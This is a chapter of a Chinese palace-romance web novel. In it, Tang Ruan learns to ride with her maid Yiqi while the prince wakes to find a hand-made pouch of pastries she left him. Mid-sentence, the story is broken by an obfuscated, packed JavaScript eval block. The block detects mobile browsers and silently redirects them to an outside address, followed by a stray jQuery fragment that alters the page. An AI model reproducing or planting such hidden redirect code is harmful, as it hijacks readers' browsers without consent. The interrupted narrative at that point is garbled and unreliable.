这一觉睡得香极了,睁开眼的时候,唐阮只觉得神清气爽。
她微微扭头,对上了近在咫尺的一张脸,先生依旧闭着眼,呼吸安稳舒缓,应当还未醒。
不过,他睡觉的时候好乖啊。
睫毛长长的,掩住了那些冷冽到吓人的眼神,浑身疏淡褪去,让人将注意力全都放在流畅的轮廓上。
唐阮以指为笔,隔空描绘男人的五官,细长细长的眼尾微微上挑,天然一副风流姿态,鼻梁又高又挺,怪不得挺行,嘴唇有点薄,但是软软的,很好亲。
眼神顺着下颌而下,落在骨节分明的喉结上,哪怕此刻睡着了,一动不动的,仍有一种淡淡的色气感。
说不定靠这个骗了不少小姑娘。
她气呼呼的想,再看喉结的时候便有些不顺眼了,甚至想狠狠地咬上一口,但又觉不舍,只好用指甲在上头留下些痕迹。
等到脖颈处出现密密麻麻的红印,她才恍然发现自己做了坏事。
还等什么,赶紧跑吧。
唐阮轻手轻脚的下床,抱着衣服连走带跑,好在床上之人睡得很沉,根本没有发现做了坏事的人在畏罪潜逃。
倚棋倒是问了两句,听唐阮说要去学骑马,并未多想,反倒从箱笼里找出一身骑马服。
“来不及现做了”,倚棋将衣服挂好,又去给唐阮绑好头发,“这是陈家中午送过来的,新的,还没上过身”。
白色的襦衫配着一条水红色的绸裤,还有一件印着银色暗纹的同色系一字襟马甲。
唐阮一眼就喜欢上了。
“快帮我换上”,她兴冲冲的,甚至有些迫不及待,脑海中已经浮现出自己骑马的英姿了。
倚棋自是无有不应的,甚至还掏出一顶帷帽,防止主子被秋日的暖阳晒伤。
城外的广袤大地是不用想的,昨日只是回来的晚些,便被先生那般惩罚,今日若是偷跑出去,这腰怕是不能要了。
陈府的演武场虽然小些,但学骑马,也无需太大。
主仆几人先是去了马厩,倚棋为唐阮挑了一匹温顺的母马,名叫随风,又给了糖块,让她与马儿培养感情。
唐阮可太喜欢这匹马了,全身上下是温柔的栗色,杏核大小的眼睛闪着温柔的光,连打响鼻的时候都是温柔的。
“你好啊”,唐阮与它打招呼,将加了盐的糖块送到它的嘴边,“快吃吧”。
随风温顺的舔舐糖块,还时不时用鬓毛蹭着身边的女子,将唐阮逗得哈哈大笑。
一旁的乌云瞧见了只觉得碍眼,它高亢的打了个响鼻,四蹄焦躁的踏动。
它记得这个人,身上有主人的味道。
那她应该骑它才对,毕竟它才是这个马厩里跑得最快的,最厉害的。
马厩的异动引起了唐阮的注意,以为乌云是饿了,便叫人给它也送上糖块。
乌云别开头,它才不要吃别人手上的,它要这个全身上下都是主人味道的女子喂。
唐阮以为自己是看错了,竟然从一匹马的眼神中看见了熟悉的眼神。
难道是马儿随了主人?
她远离随风一步,再去看乌云,那不明缘由的躁动轻微了许多。
果然是这样。
可乌云实在是太高了,跑得又快,根本不适合她这个初学者。
唐阮头疼地安抚乌云,“乖乌云,别闹”。
她送上荷包里所有的糖块,“等我学会了再骑你,好不好?”
乌云舔了一口糖块,趾高气昂的冲随风打了个响鼻,又将头凑到唐阮的手下。
它会很慢的,绝对不会像主人那般故意走颠簸的地方。
唐阮叹气,唐阮无奈,唐阮只能带上这批心机又会争宠的乌云。
陈家的演武场上今日来了娇客,细碎的笑声接连不断,勾得人心里头发痒。
不少人想要进去探一探究竟,哪怕是隔着老远看一眼也行,却见演武场的周围侍卫密布,连只苍蝇也飞不进去。
不仅如此,连陈家的家主也拱卫在演武场的门口,尽职尽责的盯着场上之人,时刻护卫她的安全。
陈霁痴迷的盯着,只觉得女子的肌肤比月白色的儒衫还要莹润光彩,水红色的绸裤随着她的动作微微飘动,像是神女的飘带。
人怎能抵抗神女的风姿,哪怕她什么都不做,也能轻易的勾走魂魄。
“倚棋,你好厉害!”
唐阮美滋滋的骑着马,乌云果然乖巧,甚至比那匹母马还要温顺,只要跟着它的律动一起,便丝毫不觉得颠簸,反而找到了些许骑马的乐趣。
当然,倚棋也是位极好的老师。
倚棋盯着眼前的笑脸,听着耳边一句又一句的夸赞,不知不觉便红了脸。
她抬手挡住阳光这个罪魁祸首,又关切道,“腿痛不痛,要不要歇一会?”
“一点也不痛”,唐阮哪里舍得下来,“有你给我的垫子怎么会痛”。
她真心实意的夸赞道,“幸好有你在”。
倚棋不仅聪慧能干,还细致妥帖事事周到,是个不可多得的人才。
可惜是先生的人。
“要是能一直在我身边就好了”,唐阮咬着唇瓣,有些不好意思的说道。
“我当然会一直陪着您”。
应答的话冲口而出,一时间倚棋只觉得周身都是热意,但是她看着马上的女子,脸上没有一丝后悔。
从黑暗处来到人间,能享受人间烟火,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276167|160421||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能感受阳光晒在身上的热意,还被真切的当个人,被人全心全意的需要。
倚棋的神色无比认真,“会一直一直陪着您”。
一直关注着二人的陈霁忍不住沉下脸色,眉心不受控制的跳动起来,只觉得倚棋的身影无比的碍眼。
他还没有得到的承诺,一个小小的侍婢怎配拥有。
别急,不能急,会有机会的。
垂在身侧的手指抽搐片刻又平静下来,陈霁盯着马背上的女子,腮边扬起同样的笑意。
与此同时,卧房中的四爷悠悠转醒,来不及睁眼便下意识地摸向身侧。
丝质的锦被滑顺温凉,没有女子柔软的身躯。
他猛然睁开双眼,只见床帐中形单影只,连热意都不曾残留。
帐外苏培盛瞄了一眼王爷的脸色,不知道该将自个缩进地底,还是该先奉上一盏冷茶。
没办法,屋子里再没有其他人,他只好托着一个荷包送到王爷面前。
“唐主子去学骑马了”,苏培盛斟酌着说道,“临走之前将这个给了奴婢”。
四爷盯着那个荷包。
与那些精致的荷包不同,这个荷包走线有些不太齐整,线条不够匀称,且过于胖了些,鼓鼓囊囊的,像是个扎起来的布袋子。
苏培盛赔笑道,“倚棋说是唐主子亲手做的,手指头扎了好些伤口呢”。
四爷接过荷包细细打量,不仅荷包有些丰腴,其上的鱼儿也格外肥,肚皮圆滚滚的,看上去有些憨乎乎的。
抛开这些不谈,一双大眼睛倒是活灵活现的,格外可爱。
整体看来,倒也不错。
他勾起唇角,抽开荷包的丝绦,只见里面装着一个个的油纸包。
苏培盛瞅着主子的脸色,“这是唐主子特意给您买的糕点”。
四爷取了一个打开,桂花糕的香味瞬间飘溢开来,勾得人口舌生津。
他就着一盏凉茶,吃了整整三块糕点,直到口中满是甜滋滋儿的才放下茶盏,又亲手将荷包挂在腰间。
“女子就是麻烦”,他站起身,手指不经意的略过荷包,“这种小事交给下人便是,根本无需亲力亲为”。
“不过这颜色倒是不错,素雅别致”。
“跟您身上的衣裳是一个色儿”,苏培盛满脸是笑,“正是唐主子心中有您,时时记挂着您呐”。
缩在角落里的朝云看着贵人主仆如出一辙的笑意,将自己缩得更小。
如果没记错的话,那荷包好像还没绣完吧,还有那点心,明明是苏管事自个儿装进去的。
难道这就是深受主子器重的秘密?!
算了算了,她没那睁眼说瞎话的本事,还是老老实实待着罢。